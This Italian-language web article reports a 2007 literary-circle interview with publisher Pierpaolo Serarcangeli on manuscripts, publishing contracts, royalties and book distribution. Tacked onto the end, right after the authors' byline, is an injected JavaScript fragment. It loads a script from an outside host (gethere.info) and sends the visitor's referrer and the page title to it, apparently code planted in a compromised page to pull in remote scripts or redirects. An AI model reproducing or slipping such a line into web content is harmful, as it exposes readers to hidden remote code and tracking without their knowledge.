27 febbraio 2007: Il Circolo intervista Pierpaolo Serarcangeli

Scrittori si nasce o si diventa? A questo e a tanti altri interrogativi ha risposto Pierpaolo Serarcangeli, fondatore dell’omonima casa editrice, nella serata organizzata il 27 febbraio 2007 dal Circolo letterario Bel-Ami.
Aspiranti autori e semplici curiosi sono stati protagonisti del dibattito: 90 minuti durante i quali l’ospite ha dissolto dubbi e curiosità, tra aspetti meramente pratici ed economici e questioni più teoriche, abilmente condite con aneddoti e un pizzico di ironia ma senza allontanarsi da una prospettiva realistica.

La Serarcangeli Editore nasce nel 1985 ed ha a tutt’oggi pubblicato 350 libri che spaziano dalla narrativa, alla poesia, alla saggistica, al teatro. La linea editoriale privilegiata è orientata alla pubblicazione di circa quindici testi l’anno. Si sceglie dunque di favorire la qualità anziché la quantità, allo scopo di non affollare un mercato già abbastanza caotico e garantire ad ogni libro pubblicato un’equa distribuzione e il sospirato arrivo in libreria.
La serata è stata aperta dal Presidente del Circolo, Cristiano Sabbatini, il quale, prima di introdurre l’ospite, ha illustrato i motivi dell’incontro affermando “… questo appuntamento rappresenta per noi un esperimento che, se avrà successo, farà da apripistai a numerosi altri incontri con rappresentanti della cultura, espressa nelle sue molteplici sfaccettature”.
Poiché lo scopo della serata è stato quello di fornire risposte utili a domande concrete vi riportiamo un estratto dell’intervista:

Come può uno scrittore esordiente scegliere la casa editrice “giusta”?
S: Dipende dalle aspirazioni dell’autore. Generalmente la grande casa editrice non ascolta molto e alcuni esordienti scrittori prediligono un contatto con l’editore diretto e non mediato da filtri. Inoltre, bisogna constatare se la casa editrice ha una buona distribuzione, se ha recensioni sui giornali e se garantisca una tiratura effettiva e norme trasparenti nel contratto.

Cosa rende un manoscritto “appetibile”?
S: Nel mondo dell’editoria c’è una grossa offerta rispetto a una domanda non eccessiva, inoltre è molto difficile capire e prevedere i gusti del pubblico. Quasi tutti i libri inviati all’editore vengono letti; costituiscono eccezione quelli che hanno per oggetto argomenti non interessanti o su cui ci sono già troppe pubblicazioni. Personalmente non accetto testi inviati via e-mail o privi di lettera di accompagnamento o con lettera troppo generica. Sembreranno dettagli ma le sfumature a volte decretano la vita e la morte di un libro. Per un romanzo il commento è superfluo. Il formato in cui sono spediti e l’impaginazione grafica mi sono indifferenti.

Quali sono i requisiti che deve avere una raccolta di poesie?
La Serarcangeli pubblica al massimo tre raccolte di poesie all’anno, perché è un genere letterario che rappresenta il fanalino di coda delle librerie, in quanto rivolto maggiormente ad un pubblico d’elite. Effettuo personalmente la cernita dei testi con criteri variabili.

Le agenzie letterarie hanno un ruolo rilevante nella pubblicazione di un libro?
Il loro ruolo non è da sottovalutare. A volte mi basta leggere la scheda di presentazione di un’agenzia fidata per pubblicare il libro senza bisogno di leggerlo. Inoltre aiutano a curare l’editing e a trovare una casa editrice adatta alle esigenze dell’autore, oltre a fornire un servizio di recensione. Ma ogni autore deve sempre prestare grande attenzione in quanto esiste un sottobosco non proprio corretto.

Nel contratto di edizione a cosa bisogna prestare attenzione?
Innanzitutto alla tiratura, se è effettiva o potenziale. Al diritto di prelazione e ai suoi limiti. Inoltre il bollino SIAE è consigliato per le grosse tirature, non è obbligatorio ma garantisce ufficialità e un maggiore controllo da parte dell’autore.

Quanto dura un contratto e quanto è vincolante per l’autore?
Il vincolo che lega un autore alla sua casa editrice è al massimo di venti anni. Personalmente il mio massimo è di dieci anni anche se abitualmente si aggira intorno a quattro o cinque anni. Diffidate dalle case editrici che vincolano l’autore solo per un anno perché i tempi di lavorazione di un libro variano dai sei ai nove mesi e il testo deve restare in libreria per almeno un anno.

Come si ripartisce il costo di un libro?
All’autore spetta una percentuale tra il 7 e il 10% del prezzo di copertina, anche se dipende dal costo unitario del prodotto. Le spese di tipografia assorbono il 25-30% del prezzo finale e la grossa fetta spetta al distributore che ottiene una percentuale tra il 50 e il 55%. All’editore compete una percentuale di guadagno effettivo pari all’8% giacché gli spettano anche gli oneri relativi all’iva e quelli fiscali e accessori.

Per quanto riguarda la promozione e la distribuzione del libro?
Per la distribuzione la Serarcangeli manda notevoli scorte ai distributori e comunque si hanno maggiori rapporti con questa categoria che con il libraio vero e proprio. Inoltre, vengono inviati dei cataloghi con le principali novità che sono aggiornati ogni quindici giorni o ogni mese. La pubblicità è difficile per le case editrici piccole in quanto ha spese molto elevate. Una tantum inviamo ai librai delle locandine o dei sagomati per pubblicizzare i prodotti ma quasi mai vengono esposte per problemi di spazio.

E’ possibile scavalcare la distribuzione e ridurre i costi?
La distribuzione propria non riduce di molto i costi. Nel caso delle edizioni che si occupano d’arte capita, ad esempio, di operare su base regionale contattando direttamente i librai. Ma non si può operare in questo modo su base nazionale.

Perché per un autore italiano è difficile farsi pubblicare da una casa editrice connazionale?
Gli stranieri utilizzano letterature di consumo più accattivanti per il pubblico. Gli autori italiani pur essendo qualitativamente molto più validi non vendono molto. E poiché la qualità non paga, a volte suggerisco di creare uno pseudonimo sostituendo il proprio nome con uno straniero

In che modo si può ottenere una trasparenza?
Mediante il Catalogo degli Editori Italiani pubblicato dalla Editrice Bibliografica di Milano che tiene i tabulati di tutti i libri editi.

Dopo tanti consigli tecnici si è sfiorato l’aspetto più intimistico della questione per ricostruire aspetti della personalità dell’ospite.

Cosa ha spinto Pierpaolo Serarcangeli a diventare editore?
Editori si nasce, sento di non poter fare altro. E’ un lavoro che richiede pazienza e grande passione.

Cosa cambierebbe nel mondo dell’editoria?
Che venga dato più spazio alla qualità ed agli autori. Sarebbe inoltre necessario ridurre il surplus di pubblicazione.

C’è qualcosa che aspetta e non arriva mai?
Ho già visto esaudito il desiderio di tutti gli editori: la pubblicazione di un autore noto al grande pubblico. E grazie alla Maraini e a Selvaraggio questo sogno si è avverato.

A chiudere la serata, i sinceri applausi di un pubblico entusiasmato e i ringraziamenti ad un ospite cortese e disponibile.

Giulia Magliozzi e Emanuele Lianis.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;